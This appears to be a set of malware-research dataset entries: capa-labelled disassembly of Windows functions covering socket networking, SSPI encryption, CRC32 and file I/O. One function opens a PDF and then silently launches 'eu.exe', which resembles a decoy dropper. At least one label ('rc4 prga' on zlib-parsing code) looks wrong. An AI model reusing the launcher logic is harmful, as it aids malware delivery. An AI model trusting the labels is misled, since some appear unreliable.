joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400094fc
Capabilities:
Encrypt data via sspi

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r14d, r8d
mov r15, rdx
mov rdi, rcx
xor ebx, ebx
mov ecx, dword [rdi + 0x30]
mov esi, r14d
sub esi, ebx
movsxd rdx, ebx
cmp esi, dword [rdi + 0x38]
cmovge esi, dword [rdi + 0x38]
add rdx, r15
add rcx, qword [rdi + 0x28]
movsxd r8, esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rdi + 0x30]
lea r8, [rbp - 0x60]
mov rcx, qword [rdi + 0x28]
xor r9d, r9d
and dword [rbp - 0x1c], 0
xor edx, edx
and dword [rbp - 0x60], 0
mov dword [rbp - 0x50], eax
mov qword [rbp - 0x48], rcx
add rcx, rax
mov qword [rbp - 0x38], rcx
movsxd rax, esi
add rax, rcx
mov dword [rbp - 0x4c], 7
mov qword [rbp - 0x28], rax
lea rcx, [rdi + 0x18]
mov eax, dword [rdi + 0x34]
mov dword [rbp - 0x30], eax
lea rax, [rbp - 0x50]
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x40], esi
mov dword [rbp - 0x3c], 1
mov dword [rbp - 0x2c], 6
mov dword [rbp - 0x5c], 4
call qword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
jne 0x1400095e1
mov r8d, dword [rbp - 0x30]
add r8d, dword [rbp - 0x40]
add r8d, dword [rbp - 0x50]
mov rdx, qword [rdi + 0x28]
mov rcx, qword [rdi]
call fcn.14000a018
test eax, eax
je 0x1400095e1
add ebx, esi
cmp ebx, r14d
jl 0x14000952a
mov al, 1
jmp 0x1400095e3
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x80
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140009de0
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r8d, 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], r8d
lea edx, [r8 + 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x48
ret

Function at 0x140009e30
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0x300000
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x1002
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x58
ret

Function at 0x140009e84
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0x300000
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x1001
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x58
ret

Function at 0x140009ed8
Capabilities:
Get socket status

Disassembly:
mov r11, rsp
sub rsp, 0x258
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x248], rax
mov r8d, edx
mov qword [rsp + 0x38], rcx
mov eax, 0x10624dd3
mov dword [rsp + 0x30], 1
mul edx
xor r9d, r9d
xor ecx, ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [r11 - 0x18], edx
lea rdx, [rsp + 0x30]
sub r8d, eax
imul eax, r8d, 0x3e8
xor r8d, r8d
mov dword [r11 - 0x14], eax
lea rax, [r11 - 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov ecx, eax
cmp eax, 0xffffffff
jne 0x140009f4d
xor eax, eax
jmp 0x140009f54
xor eax, eax
test ecx, ecx
setne al
mov rcx, qword [rsp + 0x248]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x258
ret

Function at 0x140009f6c
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14d, r9d
mov ebx, r8d
mov rbp, rdx
mov rsi, rcx
cmp rcx, 0xffffffffffffffff
je 0x140009ff8
test ebx, ebx
jle 0x140009ff8
test rdx, rdx
je 0x140009ff8
xor edi, edi
mov edx, r14d
mov rcx, rsi
call fcn.140009ed8
test eax, eax
je 0x140009ff8
movsxd rdx, edi
xor r9d, r9d
add rdx, rbp
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140009fe9
cmp eax, 0xffffffff
jne 0x140009ff8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140009ff8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009fed
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x140009fa2
mov eax, 1
jmp 0x140009ffa
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000a018
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
cmp rcx, 0xffffffffffffffff
je 0x14000a08d
test ebx, ebx
jle 0x14000a08d
test rdx, rdx
je 0x14000a08d
xor edi, edi
movsxd rdx, edi
xor r9d, r9d
add rdx, rsi
mov r8d, ebx
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x14000a07e
cmp eax, 0xffffffff
jne 0x14000a08d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14000a08d
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000a082
sub ebx, eax
add edi, eax
test ebx, ebx
jg 0x14000a046
mov eax, 1
jmp 0x14000a08f
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000a0a4
Capabilities:
Connect socket
Get socket status
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x370], rax
mov esi, r9d
mov rdi, rdx
mov rbx, rcx
test rdx, rdx
je 0x14000a25e
xorps xmm0, xmm0
mov r14d, 2
movups xmmword [rbp + 0x360], xmm0
movzx ecx, r8w
mov word [rbp + 0x360], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rdi
mov word [rbp + 0x362], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, rdi
cmp eax, 0xffffffff
je 0x14000a125
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x364], eax
jmp 0x14000a157
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14000a25e
cmp word [rax + 0x12], 4
jl 0x14000a25e
mov rdx, qword [rax + 0x18]
lea rcx, [rbp + 0x364]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
mov edi, 1
lea r8, [rbp + 0x350]
mov edx, 0x8004667e
mov dword [rbp + 0x350], edi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x14000a25e
lea r8d, [rdi + 0xf]
mov rcx, rbx
lea rdx, [rbp + 0x360]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000a1a8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14000a25e
mov eax, 0x10624dd3
mov qword [rbp + 0x148], rbx
imul esi
mov dword [rbp + 0x140], edi
lea r9, [rsp + 0x30]
sar edx, 6
lea r8, [rbp + 0x140]
mov eax, edx
mov qword [rsp + 0x38], rbx
shr eax, 0x1f
mov ecx, r14d
add edx, eax
mov dword [rsp + 0x30], edi
imul eax, esi, 0x3e8
mov dword [rbp + 0x358], edx
xor edx, edx
mov dword [rbp + 0x35c], eax
cmp esi, 0xffffffff
jne 0x14000a1fe
and qword [rsp + 0x20], rdx
jmp 0x14000a20a
lea rax, [rbp + 0x358]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x14000a25e
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x14000a25e
lea rdx, [rbp + 0x140]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x14000a25e
and dword [rbp + 0x350], 0
lea r8, [rbp + 0x350]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x14000a25e
mov eax, edi
jmp 0x14000a260
xor eax, eax
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x480
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000b364
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
sub rsp, 0x40
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebp, ebp
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], ebp
mov edx, 0xffff
mov r8d, 0xffffff7f
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 1
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000c390
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x1400011e0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edi, edi
mov qword [rsp + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov ecx, 0x10
call fcn.140001b60
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x48]
mov qword [rax], rcx
mov qword [rax + 8], rdi
mov qword [rsp + 0x48], rax
mov ecx, 0x30
call fcn.140001a50
mov rcx, rax
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x140004660]
movdqu xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [str.C:UsersdenisDesktop]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004520]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140004530]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140004538]
mov dword [rcx + 0x28], eax
mov word [rcx + 0x2c], di
lea r8, str._file.pdf
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x98]
call fcn.1400014f0
nop
lea r8, str.eu.exe
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400014f0
nop
lea r8, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova r8, qword [rsp + 0xa0]
mov ebx, 1
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
ja 0x14000130a
lea rdx, str.Failed_to_open_PDF_file.
jmp 0x140001346
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], 7
cmova r8, qword [rsp + 0x78]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
ja 0x140001364
lea rdx, str.Failed_to_run_executable.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001670
mov rcx, rax
lea rdx, [0x140001850]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001366
mov ebx, edi
lea rcx, [rsp + 0x70]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x98]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400013b0
mov eax, ebx
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140001b40
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rdi
ret
Function at 0x140001d50
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140002470
movzx eax, al
test eax, eax
jne 0x140001d70
mov ecx, 7
call fcn.140002a20
nop
mov byte [rsp + 0x20], 0
call fcn.140002400
mov byte [rsp + 0x21], al
cmp dword [0x140006690], 1
jne 0x140001d94
mov ecx, 7
call fcn.140002a20
nop
jmp 0x140001dec
cmp dword [0x140006690], 0
jne 0x140001de7
mov dword [0x140006690], 1
lea rdx, [0x1400042b0]
lea rcx, [0x140004298]
call sub.ucrtbased.dll__initterm_e
test eax, eax
je 0x140001dc8
mov eax, 0xff
jmp 0x140001ef1
lea rdx, [0x140004290]
lea rcx, [0x140004280]
call sub.ucrtbased.dll__initterm
mov dword [0x140006690], 2
jmp 0x140001dec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140002660
call fcn.1400029f0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140001e49
mov rcx, qword [rsp + 0x30]
call fcn.1400025d0
movzx eax, al
test eax, eax
je 0x140001e49
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140004258]
nop
call fcn.140002a00
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140001e7d
mov rcx, qword [rsp + 0x38]
call fcn.1400025d0
movzx eax, al
test eax, eax
je 0x140001e7d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call sub.ucrtbased.dll__register_thread_local_exe_atexit_callback
nop
call fcn.140001f30
mov dword [rsp + 0x28], eax
call fcn.140002bd0
movzx eax, al
test eax, eax
jne 0x140001e9c
mov ecx, dword [rsp + 0x28]
call sub.ucrtbased.dll_exit
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140001eab
call sub.ucrtbased.dll__cexit
nop
xor edx, edx
mov cl, 1
call fcn.140002690
mov eax, dword [rsp + 0x28]
jmp 0x140001ef1
add rsp, 0x68
ret
Function at 0x180009430
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x10]
mov rbx, rcx
mov r11d, edx
and r11d, 7
je 0x1800094bf
cmp edx, r11d
jge 0x1800094ae
mov r8d, dword [rcx + 0x14]
mov eax, 1
mov ecx, edx
mov r9d, edx
shl eax, cl
cmp r8d, eax
jae 0x1800094a4
mov r10, qword [rbx + 8]
mov rax, qword [rbx]
cmp rax, r10
jb 0x18000946f
xor cl, cl
jmp 0x180009478
movzx ecx, byte [rax]
inc rax
mov qword [rbx], rax
movzx eax, cl
lea edx, [r9 + 8]
mov ecx, r9d
mov dword [rbx + 0x10], edx
shl eax, cl
or r8d, eax
mov dword [rbx + 0x14], r8d
cmp edx, 0x18
jg 0x1800094ae
mov ecx, edx
mov eax, 1
shl eax, cl
mov r9d, edx
cmp r8d, eax
jb 0x180009463
mov rax, qword [rbx + 8]
mov edx, r9d
mov qword [rbx], rax
mov eax, dword [rbx + 0x14]
mov ecx, r11d
shr eax, cl
sub edx, r11d
mov dword [rbx + 0x14], eax
mov dword [rbx + 0x10], edx
xor r8d, r8d
mov r9d, edx
test edx, edx
jle 0x180009502
mov eax, dword [rbx + 0x14]
lea rcx, [rsp + 0x30]
movzx r10d, al
nop word [rax + rax]
shr eax, 8
lea edx, [r9 - 8]
mov byte [rcx], r10b
lea rcx, [rcx + 1]
inc r8d
mov dword [rbx + 0x14], eax
mov r9d, edx
movzx r10d, al
test edx, edx
jg 0x1800094e0
mov dword [rbx + 0x10], edx
jns 0x18000952f
mov edx, dword [0x18006703c]
mov rax, qword gs:[0x58]
mov ecx, 0x28
mov rax, qword [rax + rdx*8]
lea rdx, str.zlib_corrupt
mov qword [rcx + rax], rdx
xor eax, eax
add rsp, 0x20
pop rbx
ret
movsxd rcx, r8d
cmp rcx, 4
jge 0x18000955f
mov r8, qword [rbx + 8]
mov rax, qword [rbx]
nop
cmp rax, r8
jb 0x180009549
xor dl, dl
jmp 0x180009552
movzx edx, byte [rax]
inc rax
mov qword [rbx], rax
mov byte [rsp + rcx + 0x30], dl
inc rcx
cmp rcx, 4
jl 0x180009540
movzx eax, byte [rsp + 0x30]
movzx r8d, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
shl r8d, 8
add r8d, eax
shl ecx, 8
movzx eax, byte [rsp + 0x32]
add ecx, eax
mov eax, r8d
xor eax, 0xffff
cmp ecx, eax
jne 0x180009504
mov rcx, qword [rbx]
mov qword [rsp + 0x38], rdi
mov edi, r8d
add rcx, rdi
cmp rcx, qword [rbx + 8]
jbe 0x1800095d4
mov edx, dword [0x18006703c]
mov rax, qword gs:[0x58]
mov ecx, 0x28
mov rax, qword [rax + rdx*8]
lea rdx, str.read_past_buffer
mov qword [rcx + rax], rdx
mov rdi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rbx + 0x18]
lea rax, [r8 + rdx]
cmp rax, qword [rbx + 0x28]
jbe 0x1800095ee
mov rcx, rbx
call fcn.180008890
test eax, eax
je 0x1800095c7
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, qword [rbx + 0x18]
call sub.VCRUNTIME140.dll_memcpy
add qword [rbx], rdi
mov eax, 1
add qword [rbx + 0x18], rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x18001a3d0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18001a42d
lea rbx, [0x180055700]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x18001a414
cmp r10, 2
jb 0x18001a414
cmp byte [r9], r8b
jne 0x18001a414
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x18001a3f0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18001a46f
lea rbx, [0x180055700]
cmp r8b, 0x23
jne 0x18001a453
cmp byte [r9], r8b
jne 0x18001a453
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x18001a440
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x18001a5b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x18001a5ca
mov qword [r8], 0
lea rdx, [0x180054acc]
call fcn.18001a480
mov rbx, rax
test rax, rax
jne 0x18001a5ea
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x18001a6c3
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001a6c3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18001a6c3
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001a6c3
cmp rdi, 0xffffffffffffffff
je 0x18001a6c3
mov rax, qword [0x1800670a8]
test rax, rax
je 0x18001a660
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x18001a6c3
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18001a6b0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800670a8]
test rax, rax
je 0x18001a6a5
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18001a6cc
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18001a6be
mov qword [r14], rdi
mov rax, rsi
jmp 0x18001a6ce
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18001cd10
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0xd0]
lea r8, [0x180055700]
movsxd rcx, dword [rcx + 0xc8]
mov r11d, edx
shr r11d, 0x18
mov r9d, edx
shr r9d, 8
mov r10d, edx
shr r10d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r10b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov rax, qword [0x1800670a8]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
shr ebx, 8
xor rcx, r11
xor ebx, dword [r8 + rcx*4]
not ebx
cmp dword [rax + 0x3e74], ebx
jne 0x18001cd9c
mov dword [rax + 0x3e78], ebx
cmp dword [rax + 0x3ec0], ebx
jne 0x18001cdab
mov byte [rax + 0x3ec4], 1
cmp dword [rax + 0x3e5c], ebx
jne 0x18001cdc2
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.18002e010
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x180027f40
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x180066040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1800670a8]
mov edi, ecx
cmp byte [rbx + 0x41cd], 0
jne 0x180027fa1
cmp byte [rbx + 0x41ce], 0
jne 0x180027fa1
movsx r9d, word [rbx + 0x52ae]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.18001a350
test dil, 1
je 0x1800280c8
jmp 0x18002802c
movss xmm1, dword [rbx + 0x3830]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x52ae]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x18005b1e0]
mov edx, 0x10
mulss xmm1, dword [0x18005b1d4]
addss xmm0, dword [rbx + 0xd0c]
addss xmm1, dword [rbx + 0xd10]
mov qword [rbx + 0x3f48], rax
mov dword [rbx + 0x3f34], 1
movss dword [rbx + 0x3f40], xmm0
movss dword [rbx + 0x3f44], xmm1
movss xmm0, dword [rbx + 0x388c]
mulss xmm0, dword [0x18005b150]
or dword [rbx + 0x3f30], 0x41
movss dword [rbx + 0x3f90], xmm0
call fcn.18001a350
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x180028080
lea r11, [0x180055700]
nop dword [rax]
cmp r9b, 0x23
jne 0x180028063
cmp byte [r8], r9b
jne 0x180028063
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180028050
not ecx
call fcn.180021820
test rax, rax
je 0x1800280c8
cmp byte [rax + 0x8e], 0
je 0x1800280c8
mov byte [rax + 0x95], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x52ae]
mov edx, 0x10
movsx r9d, word [rbx + 0x52ae]
call fcn.18001a350
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.180023ee0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1800510e0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18002cd60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5360], 0
lea rbx, [rcx + 0x5368]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x18002ce07
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18002cdba
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18002edd0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.18001aae0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5360]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5370]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x180067094]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18002ce0f
mov rcx, rbx
call fcn.18001aae0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800483c0
Capabilities:
Hash data with crc32

Disassembly:
test dword [rcx + 0x10], 0x100000
je 0x18004843d
movzx r9d, byte [rdx]
lea r8, [rdx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x180048416
lea r11, [0x180055700]
cmp r9b, 0x23
jne 0x1800483f9
cmp byte [r8], r9b
jne 0x1800483f9
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1800483e6
mov rcx, qword [0x1800670a8]
not eax
cmp dword [rcx + 0x3e74], eax
jne 0x18004842d
mov dword [rcx + 0x3e78], eax
cmp dword [rcx + 0x3ec0], eax
jne 0x180048450
mov byte [rcx + 0x3ec4], 1
ret
mov rax, qword [0x1800670a8]
mov rcx, qword [rax + 0x3e28]
jmp fcn.18001cc90
ret